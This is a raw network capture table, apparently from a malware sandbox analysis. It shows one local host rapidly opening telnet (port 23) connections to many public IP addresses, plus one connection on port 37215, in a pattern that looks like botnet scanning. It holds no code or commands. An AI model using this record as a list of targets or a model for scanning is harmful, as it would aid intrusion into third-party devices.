Dec 3, 2024 21:01:57.226236105 CET	23	19873	173.176.91.172	192.168.2.23
Dec 3, 2024 21:01:57.226246119 CET	23	19873	80.4.167.111	192.168.2.23
Dec 3, 2024 21:01:57.226249933 CET	19873	23	192.168.2.23	218.92.1.213
Dec 3, 2024 21:01:57.226254940 CET	23	19873	166.8.95.108	192.168.2.23
Dec 3, 2024 21:01:57.226263046 CET	19873	23	192.168.2.23	173.176.91.172
Dec 3, 2024 21:01:57.226264954 CET	23	19873	86.80.37.190	192.168.2.23
Dec 3, 2024 21:01:57.226267099 CET	19873	23	192.168.2.23	12.166.12.97
Dec 3, 2024 21:01:57.226277113 CET	23	19873	190.73.242.239	192.168.2.23
Dec 3, 2024 21:01:57.226289034 CET	23	19873	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.226295948 CET	19873	23	192.168.2.23	166.8.95.108
Dec 3, 2024 21:01:57.226300001 CET	19873	23	192.168.2.23	80.4.167.111
Dec 3, 2024 21:01:57.226300955 CET	19873	23	192.168.2.23	86.80.37.190
Dec 3, 2024 21:01:57.226371050 CET	19873	23	192.168.2.23	190.73.242.239
Dec 3, 2024 21:01:57.226376057 CET	19873	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.227025032 CET	23	19873	142.52.243.14	192.168.2.23
Dec 3, 2024 21:01:57.227066040 CET	19873	23	192.168.2.23	142.52.243.14
Dec 3, 2024 21:01:57.227098942 CET	23	19873	45.252.170.0	192.168.2.23
Dec 3, 2024 21:01:57.227109909 CET	23	19873	159.12.152.242	192.168.2.23
Dec 3, 2024 21:01:57.227118969 CET	23	19873	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.227133989 CET	23	19873	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:57.227138042 CET	19873	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:57.227149963 CET	19873	23	192.168.2.23	159.12.152.242
Dec 3, 2024 21:01:57.227154016 CET	23	19873	57.86.61.172	192.168.2.23
Dec 3, 2024 21:01:57.227164984 CET	23	19873	213.134.145.112	192.168.2.23
Dec 3, 2024 21:01:57.227166891 CET	19873	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:57.227186918 CET	19873	23	192.168.2.23	57.86.61.172
Dec 3, 2024 21:01:57.227202892 CET	19873	23	192.168.2.23	213.134.145.112
Dec 3, 2024 21:01:57.227240086 CET	23	19873	194.251.213.216	192.168.2.23
Dec 3, 2024 21:01:57.227245092 CET	19873	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.227262020 CET	23	19873	193.237.252.123	192.168.2.23
Dec 3, 2024 21:01:57.227272034 CET	23	19873	144.108.53.118	192.168.2.23
Dec 3, 2024 21:01:57.227283955 CET	23	19873	89.97.166.230	192.168.2.23
Dec 3, 2024 21:01:57.227287054 CET	19873	23	192.168.2.23	194.251.213.216
Dec 3, 2024 21:01:57.227287054 CET	19873	23	192.168.2.23	193.237.252.123
Dec 3, 2024 21:01:57.227302074 CET	23	19873	90.86.23.153	192.168.2.23
Dec 3, 2024 21:01:57.227319956 CET	23	19873	70.1.218.9	192.168.2.23
Dec 3, 2024 21:01:57.227324963 CET	19873	23	192.168.2.23	144.108.53.118
Dec 3, 2024 21:01:57.227332115 CET	19873	23	192.168.2.23	89.97.166.230
Dec 3, 2024 21:01:57.227349997 CET	19873	23	192.168.2.23	90.86.23.153
Dec 3, 2024 21:01:57.227353096 CET	23	19873	200.134.44.15	192.168.2.23
Dec 3, 2024 21:01:57.227364063 CET	23	19873	129.127.43.18	192.168.2.23
Dec 3, 2024 21:01:57.227374077 CET	23	19873	155.133.240.182	192.168.2.23
Dec 3, 2024 21:01:57.227381945 CET	19873	23	192.168.2.23	70.1.218.9
Dec 3, 2024 21:01:57.227382898 CET	19873	23	192.168.2.23	200.134.44.15
Dec 3, 2024 21:01:57.227397919 CET	23	19873	12.251.44.198	192.168.2.23
Dec 3, 2024 21:01:57.227406979 CET	19873	23	192.168.2.23	129.127.43.18
Dec 3, 2024 21:01:57.227411032 CET	23	19873	23.70.3.241	192.168.2.23
Dec 3, 2024 21:01:57.227427006 CET	19873	23	192.168.2.23	155.133.240.182
Dec 3, 2024 21:01:57.227430105 CET	19873	23	192.168.2.23	12.251.44.198
Dec 3, 2024 21:01:57.227433920 CET	23	19873	220.75.169.64	192.168.2.23
Dec 3, 2024 21:01:57.227442026 CET	19873	23	192.168.2.23	23.70.3.241
Dec 3, 2024 21:01:57.227446079 CET	23	19873	79.255.172.103	192.168.2.23
Dec 3, 2024 21:01:57.227478027 CET	19873	23	192.168.2.23	79.255.172.103
Dec 3, 2024 21:01:57.227480888 CET	19873	23	192.168.2.23	220.75.169.64
Dec 3, 2024 21:01:57.227607965 CET	23	19873	211.4.110.109	192.168.2.23
Dec 3, 2024 21:01:57.227619886 CET	23	19873	54.113.85.33	192.168.2.23
Dec 3, 2024 21:01:57.227628946 CET	23	19873	204.204.106.254	192.168.2.23
Dec 3, 2024 21:01:57.227638960 CET	23	19873	2.197.25.48	192.168.2.23
Dec 3, 2024 21:01:57.227648020 CET	23	19873	86.75.187.74	192.168.2.23
Dec 3, 2024 21:01:57.227650881 CET	19873	23	192.168.2.23	54.113.85.33
Dec 3, 2024 21:01:57.227657080 CET	23	19873	222.193.154.31	192.168.2.23
Dec 3, 2024 21:01:57.227668047 CET	23	19873	74.167.198.193	192.168.2.23
Dec 3, 2024 21:01:57.227668047 CET	19873	23	192.168.2.23	2.197.25.48
Dec 3, 2024 21:01:57.227675915 CET	19873	23	192.168.2.23	86.75.187.74
Dec 3, 2024 21:01:57.227678061 CET	19873	23	192.168.2.23	211.4.110.109
Dec 3, 2024 21:01:57.227679014 CET	23	19873	4.66.217.166	192.168.2.23
Dec 3, 2024 21:01:57.227682114 CET	19873	23	192.168.2.23	204.204.106.254
Dec 3, 2024 21:01:57.227699995 CET	19873	23	192.168.2.23	222.193.154.31
Dec 3, 2024 21:01:57.227710962 CET	19873	23	192.168.2.23	74.167.198.193
Dec 3, 2024 21:01:57.227722883 CET	19873	23	192.168.2.23	4.66.217.166
Dec 3, 2024 21:01:57.228410959 CET	23	19873	149.212.68.43	192.168.2.23
Dec 3, 2024 21:01:57.228421926 CET	23	19873	180.148.206.51	192.168.2.23
Dec 3, 2024 21:01:57.228456974 CET	19873	23	192.168.2.23	180.148.206.51
Dec 3, 2024 21:01:57.228456020 CET	19873	23	192.168.2.23	149.212.68.43
Dec 3, 2024 21:01:57.228466988 CET	23	19873	189.194.235.55	192.168.2.23
Dec 3, 2024 21:01:57.228477001 CET	23	19873	24.250.15.18	192.168.2.23
Dec 3, 2024 21:01:57.228487015 CET	23	19873	49.121.14.50	192.168.2.23
Dec 3, 2024 21:01:57.228498936 CET	23	19873	204.204.41.182	192.168.2.23
Dec 3, 2024 21:01:57.228503942 CET	19873	23	192.168.2.23	189.194.235.55
Dec 3, 2024 21:01:57.228528976 CET	23	19873	34.252.117.125	192.168.2.23
Dec 3, 2024 21:01:57.228538990 CET	23	19873	64.129.154.86	192.168.2.23
Dec 3, 2024 21:01:57.228544950 CET	19873	23	192.168.2.23	204.204.41.182
Dec 3, 2024 21:01:57.228564978 CET	19873	23	192.168.2.23	34.252.117.125
Dec 3, 2024 21:01:57.228570938 CET	23	19873	78.62.145.2	192.168.2.23
Dec 3, 2024 21:01:57.228570938 CET	19873	23	192.168.2.23	64.129.154.86
Dec 3, 2024 21:01:57.228574991 CET	19873	23	192.168.2.23	24.250.15.18
Dec 3, 2024 21:01:57.228574991 CET	19873	23	192.168.2.23	49.121.14.50
Dec 3, 2024 21:01:57.228581905 CET	23	19873	141.192.205.129	192.168.2.23
Dec 3, 2024 21:01:57.228601933 CET	23	19873	168.158.173.117	192.168.2.23
Dec 3, 2024 21:01:57.228605986 CET	19873	23	192.168.2.23	78.62.145.2
Dec 3, 2024 21:01:57.228605986 CET	19873	23	192.168.2.23	141.192.205.129
Dec 3, 2024 21:01:57.228612900 CET	23	19873	34.225.120.174	192.168.2.23
Dec 3, 2024 21:01:57.228622913 CET	23	19873	95.198.159.148	192.168.2.23
Dec 3, 2024 21:01:57.228672981 CET	23	19873	130.13.131.151	192.168.2.23
Dec 3, 2024 21:01:57.228682041 CET	19873	23	192.168.2.23	168.158.173.117
Dec 3, 2024 21:01:57.228682995 CET	23	19873	155.208.43.94	192.168.2.23
Dec 3, 2024 21:01:57.228692055 CET	19873	23	192.168.2.23	34.225.120.174
Dec 3, 2024 21:01:57.228707075 CET	19873	23	192.168.2.23	130.13.131.151
Dec 3, 2024 21:01:57.228709936 CET	19873	23	192.168.2.23	95.198.159.148
Dec 3, 2024 21:01:57.228713036 CET	19873	23	192.168.2.23	155.208.43.94
Dec 3, 2024 21:01:57.228717089 CET	23	19873	62.173.120.51	192.168.2.23
Dec 3, 2024 21:01:57.228729010 CET	23	19873	27.19.48.4	192.168.2.23
Dec 3, 2024 21:01:57.228738070 CET	23	19873	67.166.74.57	192.168.2.23
Dec 3, 2024 21:01:57.228758097 CET	19873	23	192.168.2.23	62.173.120.51
Dec 3, 2024 21:01:57.228760004 CET	23	19873	79.251.219.232	192.168.2.23
Dec 3, 2024 21:01:57.228760004 CET	19873	23	192.168.2.23	27.19.48.4
Dec 3, 2024 21:01:57.228770018 CET	23	19873	161.53.206.195	192.168.2.23
Dec 3, 2024 21:01:57.228777885 CET	19873	23	192.168.2.23	67.166.74.57
Dec 3, 2024 21:01:57.228780031 CET	23	19873	192.143.73.15	192.168.2.23
Dec 3, 2024 21:01:57.228790045 CET	19873	23	192.168.2.23	79.251.219.232
Dec 3, 2024 21:01:57.228792906 CET	19873	23	192.168.2.23	161.53.206.195
Dec 3, 2024 21:01:57.228806973 CET	19873	23	192.168.2.23	192.143.73.15
Dec 3, 2024 21:01:57.228909016 CET	23	19873	156.208.81.34	192.168.2.23
Dec 3, 2024 21:01:57.228920937 CET	23	19873	18.19.22.26	192.168.2.23
Dec 3, 2024 21:01:57.228929996 CET	23	19873	220.33.39.252	192.168.2.23
Dec 3, 2024 21:01:57.228939056 CET	23	19873	70.238.169.127	192.168.2.23
Dec 3, 2024 21:01:57.228943110 CET	23	19873	209.165.50.166	192.168.2.23
Dec 3, 2024 21:01:57.228946924 CET	19873	23	192.168.2.23	18.19.22.26
Dec 3, 2024 21:01:57.228948116 CET	23	19873	160.120.226.89	192.168.2.23
Dec 3, 2024 21:01:57.228948116 CET	19873	23	192.168.2.23	156.208.81.34
Dec 3, 2024 21:01:57.228956938 CET	23	19873	23.212.33.7	192.168.2.23
Dec 3, 2024 21:01:57.228960991 CET	19873	23	192.168.2.23	220.33.39.252
Dec 3, 2024 21:01:57.228967905 CET	19873	23	192.168.2.23	209.165.50.166
Dec 3, 2024 21:01:57.228967905 CET	19873	23	192.168.2.23	70.238.169.127
Dec 3, 2024 21:01:57.228970051 CET	19873	23	192.168.2.23	160.120.226.89
Dec 3, 2024 21:01:57.228996992 CET	19873	23	192.168.2.23	23.212.33.7
Dec 3, 2024 21:01:57.229197979 CET	23	19873	32.114.180.92	192.168.2.23
Dec 3, 2024 21:01:57.229207993 CET	23	19873	104.2.205.97	192.168.2.23
Dec 3, 2024 21:01:57.229217052 CET	23	19873	5.37.91.124	192.168.2.23
Dec 3, 2024 21:01:57.229226112 CET	23	19873	80.9.77.76	192.168.2.23
Dec 3, 2024 21:01:57.229240894 CET	19873	23	192.168.2.23	32.114.180.92
Dec 3, 2024 21:01:57.229243040 CET	19873	23	192.168.2.23	104.2.205.97
Dec 3, 2024 21:01:57.229248047 CET	23	19873	1.214.185.90	192.168.2.23
Dec 3, 2024 21:01:57.229259014 CET	23	19873	43.122.141.163	192.168.2.23
Dec 3, 2024 21:01:57.229269028 CET	19873	23	192.168.2.23	80.9.77.76
Dec 3, 2024 21:01:57.229269981 CET	23	19873	54.135.183.46	192.168.2.23
Dec 3, 2024 21:01:57.229273081 CET	19873	23	192.168.2.23	5.37.91.124
Dec 3, 2024 21:01:57.229279995 CET	23	19873	116.201.108.84	192.168.2.23
Dec 3, 2024 21:01:57.229281902 CET	19873	23	192.168.2.23	43.122.141.163
Dec 3, 2024 21:01:57.229290009 CET	23	52598	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.229300022 CET	19873	23	192.168.2.23	1.214.185.90
Dec 3, 2024 21:01:57.229301929 CET	19873	23	192.168.2.23	54.135.183.46
Dec 3, 2024 21:01:57.229304075 CET	19873	23	192.168.2.23	116.201.108.84
Dec 3, 2024 21:01:57.229336023 CET	52598	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.230043888 CET	45352	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.230690002 CET	36266	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.231322050 CET	46098	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.231992960 CET	44436	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.232677937 CET	42162	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.233314037 CET	50282	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.233961105 CET	36086	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:01:57.234605074 CET	49396	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:01:57.235239029 CET	46964	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:01:57.235833883 CET	59606	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.236474037 CET	55632	23	192.168.2.23	68.92.143.216
Dec 3, 2024 21:01:57.236507893 CET	23	49008	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.236546040 CET	49008	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.237034082 CET	37974	23	192.168.2.23	147.0.127.209
Dec 3, 2024 21:01:57.237646103 CET	45342	23	192.168.2.23	184.154.211.219
Dec 3, 2024 21:01:57.238265991 CET	58420	23	192.168.2.23	74.66.110.56
Dec 3, 2024 21:01:57.238864899 CET	47174	23	192.168.2.23	53.174.78.169
Dec 3, 2024 21:01:57.239507914 CET	39188	23	192.168.2.23	122.50.242.142
Dec 3, 2024 21:01:57.240153074 CET	58020	23	192.168.2.23	190.137.9.223
Dec 3, 2024 21:01:57.240802050 CET	47498	23	192.168.2.23	60.49.247.195
Dec 3, 2024 21:01:57.241462946 CET	50450	23	192.168.2.23	158.126.177.164
Dec 3, 2024 21:01:57.242115974 CET	38020	23	192.168.2.23	73.97.246.62
Dec 3, 2024 21:01:57.242768049 CET	57616	23	192.168.2.23	218.92.1.213
Dec 3, 2024 21:01:57.243482113 CET	52168	23	192.168.2.23	12.166.12.97
Dec 3, 2024 21:01:57.244044065 CET	34394	23	192.168.2.23	173.176.91.172
Dec 3, 2024 21:01:57.244719982 CET	50626	23	192.168.2.23	80.4.167.111
Dec 3, 2024 21:01:57.245353937 CET	36772	23	192.168.2.23	166.8.95.108
Dec 3, 2024 21:01:57.246021032 CET	32898	23	192.168.2.23	86.80.37.190
Dec 3, 2024 21:01:57.246699095 CET	42734	23	192.168.2.23	190.73.242.239
Dec 3, 2024 21:01:57.247395992 CET	41256	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.247498035 CET	23	46968	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.247544050 CET	46968	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.248047113 CET	52968	23	192.168.2.23	142.52.243.14
Dec 3, 2024 21:01:57.248686075 CET	38416	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:01:57.249349117 CET	52136	23	192.168.2.23	159.12.152.242
Dec 3, 2024 21:01:57.255358934 CET	23	59070	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.255405903 CET	59070	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.262695074 CET	59902	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.263297081 CET	59618	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:57.267987967 CET	37215	18849	41.124.51.131	192.168.2.23
Dec 3, 2024 21:01:57.268044949 CET	18849	37215	192.168.2.23	41.124.51.131
Dec 3, 2024 21:01:57.270220995 CET	43928	443	192.168.2.23	91.189.91.42
Dec 3, 2024 21:01:57.275479078 CET	23	38870	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.275537014 CET	38870	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.287826061 CET	23	53100	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:57.287878036 CET	53100	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.337697983 CET	23	52038	217.32.184.17	192.168.2.23
Dec 3, 2024 21:01:57.349589109 CET	23	52598	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.349893093 CET	52598	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.349930048 CET	23	45352	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:57.349982023 CET	45352	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.350331068 CET	52860	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.350518942 CET	23	36266	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:57.350605011 CET	36266	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.351147890 CET	23	46098	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:57.351196051 CET	46098	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.351871967 CET	23	44436	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:57.351919889 CET	44436	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.352582932 CET	23	42162	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:57.352627039 CET	42162	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.353204012 CET	23	50282	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:57.353257895 CET	50282	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.355726004 CET	23	59606	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:57.355767965 CET	59606	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.356771946 CET	23	49008	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.356829882 CET	49008	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.357132912 CET	49246	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.367361069 CET	23	41256	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.367415905 CET	41256	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.367633104 CET	23	46968	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.367703915 CET	46968	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.368011951 CET	47164	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.375772953 CET	23	59070	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.375830889 CET	59070	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.376157999 CET	59240	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.382714033 CET	23	59902	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.382765055 CET	59902	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.395831108 CET	23	38870	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.395893097 CET	38870	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.396315098 CET	39006	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.408344984 CET	23	53100	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:57.408415079 CET	53100	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.408732891 CET	53192	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.469916105 CET	23	52598	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.470325947 CET	23	52860	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.470453978 CET	52860	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.470558882 CET	23	45352	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:57.470649958 CET	45352	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.470742941 CET	23	36266	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:57.471086979 CET	45430	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.471287966 CET	23	46098	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:57.471461058 CET	36266	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.471729040 CET	36344	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.471999884 CET	23	44436	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:57.472059011 CET	46098	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.472352028 CET	46176	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.472739935 CET	44436	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.472893000 CET	23	42162	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:57.472990036 CET	44514	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.473335981 CET	23	50282	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:57.473623037 CET	42162	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.473912001 CET	42240	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.474180937 CET	50282	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.474286079 CET	50282	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.474545956 CET	50360	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.476013899 CET	23	59606	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:57.476072073 CET	59606	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.476344109 CET	59678	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.476725101 CET	23	49008	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.477123976 CET	23	49246	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.477166891 CET	49246	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.487562895 CET	23	46968	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.487598896 CET	23	41256	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.487665892 CET	41256	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.487912893 CET	23	47164	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.487948895 CET	47164	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.487982035 CET	41294	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.496021032 CET	23	59070	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.496160984 CET	23	59240	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.496345997 CET	59240	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.502949953 CET	23	59902	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.503010035 CET	59902	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.503464937 CET	59934	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.515925884 CET	23	38870	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.516232967 CET	23	39006	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.516274929 CET	39006	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.528599977 CET	23	53100	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:57.528832912 CET	23	53192	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:57.528887987 CET	53192	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.590548038 CET	23	45352	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:57.590590000 CET	23	52860	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.590655088 CET	52860	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.590929031 CET	23	45430	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:57.590958118 CET	52890	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.590980053 CET	45430	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.591298103 CET	23	36266	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:57.591679096 CET	23	36344	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:57.591722965 CET	36344	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.592103004 CET	23	46098	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:57.592376947 CET	23	46176	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:57.592425108 CET	46176	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.592811108 CET	23	44436	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:57.593020916 CET	23	44514	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:57.593054056 CET	44514	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.593458891 CET	23	42162	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:57.593791008 CET	23	42240	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:57.593837976 CET	42240	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.594101906 CET	23	50282	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:57.594449997 CET	23	50360	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:57.594486952 CET	50360	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.596019030 CET	23	59606	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:57.596172094 CET	23	59678	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:57.596241951 CET	59678	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.597389936 CET	23	49246	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.597440004 CET	49246	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.597712040 CET	49276	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.607685089 CET	23	41256	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.607947111 CET	23	41294	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.608033895 CET	41294	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.608076096 CET	23	47164	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.608129025 CET	47164	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.608370066 CET	47194	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.616545916 CET	23	59240	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.616624117 CET	59240	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.616846085 CET	59270	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.623008013 CET	23	59902	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.623375893 CET	23	59934	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.623415947 CET	59934	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.636513948 CET	23	39006	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.636578083 CET	39006	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.636822939 CET	39036	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:57.649094105 CET	23	53192	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:57.649162054 CET	53192	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.649426937 CET	53222	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:57.710664988 CET	23	52860	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.710908890 CET	23	52890	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:57.711155891 CET	52890	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:57.711189032 CET	23	45430	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:57.711240053 CET	45430	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.711488962 CET	45460	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:57.711843967 CET	23	36344	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:57.711891890 CET	36344	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.712131977 CET	36374	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:57.712423086 CET	23	46176	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:57.712470055 CET	46176	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.712685108 CET	46206	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:57.713187933 CET	23	44514	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:57.713238001 CET	44514	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.713466883 CET	44544	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:57.713948965 CET	23	42240	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:57.714001894 CET	42240	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.714248896 CET	42270	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:57.714503050 CET	23	50360	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:57.714559078 CET	50360	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.714791059 CET	50390	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.716443062 CET	23	59678	177.56.160.63	192.168.2.23
